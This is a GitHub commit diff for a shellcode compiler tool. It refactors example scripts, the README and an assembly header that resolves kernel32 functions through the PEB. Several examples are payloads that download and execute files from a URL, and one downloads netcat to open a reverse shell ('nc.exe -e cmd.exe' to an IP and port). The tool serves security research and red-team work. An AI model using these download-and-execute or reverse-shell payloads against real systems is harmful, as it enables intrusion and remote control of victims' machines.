Skip to content

Commit f1c139f

Browse files
NytroRSTNytroRST
committed
Code refactoring
1 parent f5f00dc commit f1c139f

38 files changed

+2046
-1426
lines changed

‎Examples/DaE.txt‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,15 @@
11

22
function URLDownloadToFileA("urlmon.dll");
3+
34
function WinExec("kernel32.dll");
5+
46
function ExitProcess("kernel32.dll");
57

8+
9+
610
URLDownloadToFileA(0,"https://rstforums.com/fisiere/calc.exe","calc.exe",0,0);
11+
712
WinExec("calc.exe",0);
13+
814
ExitProcess(0);
915

‎Examples/DaL.txt‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,13 @@
11
function URLDownloadToFileA("urlmon.dll");
2+
23
function LoadLibraryA("kernel32.dll");
4+
35
function ExitProcess("kernel32.dll");
46

7+
8+
59
URLDownloadToFileA(0,"https://rstforums.com/fisiere/DLLExample.dll","SC.dll",0,0);
10+
611
LoadLibraryA("SC.dll");
12+
713
ExitProcess(0);

‎Examples/File.txt‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,14 @@
11

22
function CopyFileA("kernel32.dll");
3+
34
function DeleteFileA("kernel32.dll");
5+
46
function ExitProcess("kernel32.dll");
57

8+
9+
610
CopyFileA("C:\Windows\System32\calc.exe","C:\Users\Ionut\Desktop\calc.exe",0);
11+
712
DeleteFileA("C:\Users\Ionut\Desktop\Delete.txt");
13+
814
ExitProcess(0);

‎Examples/Msg.txt‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,10 @@
11

22
function MessageBoxA("user32.dll");
3+
34
function ExitProcess("kernel32.dll");
45

6+
7+
58
MessageBoxA(0,"This is a MessageBox example","Shellcode Compiler",0);
9+
610
ExitProcess(0);

‎Examples/Reg.txt‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
11
function RegSetKeyValueA("advapi32.dll");
2+
23
function ExitProcess("kernel32.dll");
34

5+
6+
47
RegSetKeyValueA(2147483649,"Software\Microsoft\Notepad","Test",1,"Nytro",5);
8+
59
ExitProcess(0);

‎Examples/Reverse.txt‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,13 @@
11
function URLDownloadToFileA("urlmon.dll");
2+
23
function WinExec("kernel32.dll");
4+
35
function ExitProcess("kernel32.dll");
46

7+
8+
59
URLDownloadToFileA(0,"https://rstforums.com/fisiere/nc.exe","nc.exe",0,0);
10+
611
WinExec("nc.exe -e cmd.exe 192.168.0.100 1337",0);
12+
713
ExitProcess(0);

‎README.md‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,9 @@ Shellcode compiler was released at DefCamp security conference in Romania, Novem
3232
2. It is not possible to use pointers or buffers
3333
3. It is not possible to declare variables
3434

35+
# Changelog
36+
1. Code refactoring
37+
3538
All these limitations will be fixed as soon as possible. However, many other limitations will exist.
3639
This is an Alpha version. Please report any bugs or suggestions.
3740

‎Release/ShellcodeCompiler.exe‎

0 Bytes
Binary file not shown.

‎ShellcodeCompiler/ASMHeader.cpp‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
2+
#include "ASMHeader.h"
3+
4+
// Function that returns the default ASM Header
5+
6+
string ASMHeader::GetASMHeader()
7+
{
8+
string sContent =
9+
"; Shellcode generated using Shellcode Compiler \r\n"
10+
"; https://github.com/NytroRST/ShellcodeCompiler \r\n\r\n"
11+
"BITS 32 \r\n"
12+
"SECTION .text \r\n"
13+
"global main \r\n"
14+
"main: \r\n\r\n"
15+
"xor ecx, ecx \r\n"
16+
"mov eax, [fs:ecx + 0x30] ; EAX = PEB \r\n"
17+
"mov eax, [eax + 0xc] ; EAX = PEB->Ldr \r\n"
18+
"mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder \r\n"
19+
"lodsd ; EAX = Second module \r\n"
20+
"xchg eax, esi ; EAX = ESI, ESI = EAX \r\n"
21+
"lodsd ; EAX = Third(kernel32) \r\n"
22+
"mov ebx, [eax + 0x10] ; EBX = Base address \r\n"
23+
"mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew \r\n"
24+
"add edx, ebx ; EDX = PE Header \r\n"
25+
"mov edx, [edx + 0x78] ; EDX = Offset export table \r\n"
26+
"add edx, ebx ; EDX = Export table \r\n"
27+
"mov esi, [edx + 0x20] ; ESI = Offset namestable \r\n"
28+
"add esi, ebx ; ESI = Names table \r\n"
29+
"xor ecx, ecx ; EXC = 0 \r\n\r\n"
30+
31+
"Get_Function: \r\n\r\n"
32+
33+
"inc ecx ; Increment the ordinal \r\n"
34+
"lodsd ; Get name offset \r\n"
35+
"add eax, ebx ; Get function name \r\n"
36+
"cmp dword [eax], 0x50746547 ; GetP \r\n"
37+
"jnz Get_Function \r\n"
38+
"cmp dword [eax + 0x4], 0x41636f72 ; rocA \r\n"
39+
"jnz Get_Function \r\n"
40+
"cmp dword [eax + 0x8], 0x65726464 ; ddre \r\n"
41+
"jnz Get_Function \r\n"
42+
"mov esi, [edx + 0x24] ; ESI = Offset ordinals \r\n"
43+
"add esi, ebx ; ESI = Ordinals table \r\n"
44+
"mov cx, [esi + ecx * 2] ; Number of function \r\n"
45+
"dec ecx \r\n"
46+
"mov esi, [edx + 0x1c] ; Offset address table \r\n"
47+
"add esi, ebx ; ESI = Address table \r\n"
48+
"mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) \r\n"
49+
"add edx, ebx ; EDX = GetProcAddress \r\n\r\n"
50+
51+
"xor ecx, ecx ; ECX = 0 \r\n"
52+
"push ebx ; Kernel32 base address \r\n"
53+
"push edx ; GetProcAddress \r\n"
54+
"push ecx ; 0 \r\n"
55+
"push 0x41797261 ; aryA \r\n"
56+
"push 0x7262694c ; Libr \r\n"
57+
"push 0x64616f4c ; Load \r\n"
58+
"push esp ; LoadLibrary \r\n"
59+
"push ebx ; Kernel32 base address \r\n"
60+
"call edx ; GetProcAddress(LL) \r\n\r\n"
61+
62+
"add esp, 0xc ; pop LoadLibrary \r\n"
63+
"pop ecx ; ECX = 0 \r\n"
64+
"push eax ; EAX = LoadLibrary \r\n\r\n";
65+
66+
return sContent;
67+
}

‎ShellcodeCompiler/ASMHeader.h‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
2+
#ifndef ASMHEADER_H
3+
#define ASMHEADER_H
4+
5+
#include <string>
6+
7+
using namespace std;
8+
9+
// Class used for ASM Header
10+
11+
class ASMHeader
12+
{
13+
public:
14+
static string GetASMHeader();
15+
};
16+
17+
#endif

0 commit comments

Comments
 (0)